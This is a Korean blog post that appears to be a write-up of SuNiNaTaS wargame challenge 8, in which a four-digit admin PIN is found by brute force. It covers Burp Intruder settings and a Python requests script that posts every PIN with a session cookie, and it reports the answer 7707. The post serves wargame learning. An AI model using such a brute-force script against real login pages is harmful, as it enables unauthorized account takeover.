티스토리 뷰

web wargame/SuNiNaTaS

suninatas 8번

삼전동해커 2020. 9. 17. 15:09

8번을 풀어보장.



로그인 폼이 존재하고 hint로 id는 admin이고 password는 0~9999중 하나라고 한다.


혹시나 asp의 strcomp에 strcmp처럼 배열 취약점이 존재하나 싶어 찾아봤지만 없었다.

난수 생성 과정에서 취약점이 있을까 했지만 없었다.


그냥 brute force로 코드를 짜서 대입해보는 방법밖에 없었다.


brute force하는 방법은 2가지가 있는데 


1.burf suite의 intruder 이용하기

2.직접 코드짜기


1번 방법은 너무 오래걸려서 오늘 시작하면 내일쯤 끝날것 같더라.

일단 방법만 설명해 보겠다.


워게임 사이트를 리로드한 후




send to intruder를 눌러 intruder로 보낸다.



설정 해주고



position tab을 보면 이상한 문자가 있는데 저 문자로 감싸져 있는 부분에 페이로드를 대입한다.

우리가 대입할 부분은 pw=여기 이니 옆에 clear로 다 지워준 후 1234부분만 add로 감싸주자.



payloads tab을 보면



payload type이 있는데 우리는 0~9999까지 숫자만 대입하니 number를 클릭한다.

범위는 from 0 ~ to 9999 1씩 증가한다고 설정.


그리고 옆에 start attack을 누르면 진행된다.

너무 느리니 하지 말자.



2번 방법인 직접 코드를 짜보자.



import requests



for i in range(0,9999):

url = "http://suninatas.com/challenge/web08/web08.asp"

cookies = {'ASPSESSIONIDCQACSCSA':'EOCFGIEBKDHMMKEHNGDDLAGC'}

response = requests.post(url,cookies=cookies,data={'id':'admin','pw':i})

if (response.text.find("Password Incorrect!")==-1):

print(response.text)

break


else print("next password : ",i+1)


requests 모듈을 이용한다.


url을 받아주고,

접속할 수 있게 cookieid와 값을 주고,

response에는 post방식으로 url과 cookie,data로 id와 pw를 준다.


response를 전달하고 값에서 password incorrect가 없다면 내용을 출력한다.

있으면 다음 패스워드 입력


실행해주면 


7707에서 패스워드가 잡힌다.


'web wargame > SuNiNaTaS' 카테고리의 다른 글

suninatas 18번  (0) 2020.09.17
suninatas 6번  (0) 2020.09.14
suninatas 5번  (0) 2020.09.14
suninatas 4번  (0) 2020.09.14
suninatas 3번  (0) 2020.07.31
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함